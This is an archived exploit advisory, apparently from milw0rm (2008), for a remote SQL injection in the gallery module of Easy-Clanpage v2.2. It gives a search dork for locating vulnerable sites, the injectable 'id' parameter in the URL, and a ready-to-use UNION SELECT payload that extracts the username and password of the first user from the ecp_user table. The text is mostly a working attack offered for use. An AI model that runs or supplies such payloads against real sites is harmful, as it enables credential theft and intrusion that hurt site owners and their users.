23 lines
No EOL
664 B
Text
23 lines
No EOL
664 B
Text
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.
|
|
|
|
~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~
|
|
|
|
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.
|
|
|
|
[+] Author: n3w7u
|
|
|
|
[+] Mail: n3w7u@gmx.net
|
|
|
|
[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14
|
|
|
|
[+] Dork: "Easy-Clanpage v2.2"
|
|
|
|
.-=--=--=--=--=--=--=--=--=--=--=-.
|
|
|
|
[+] Vuln File: /modules/gallery/index.php
|
|
|
|
[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=
|
|
|
|
[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*
|
|
|
|
# milw0rm.com [2008-03-18] |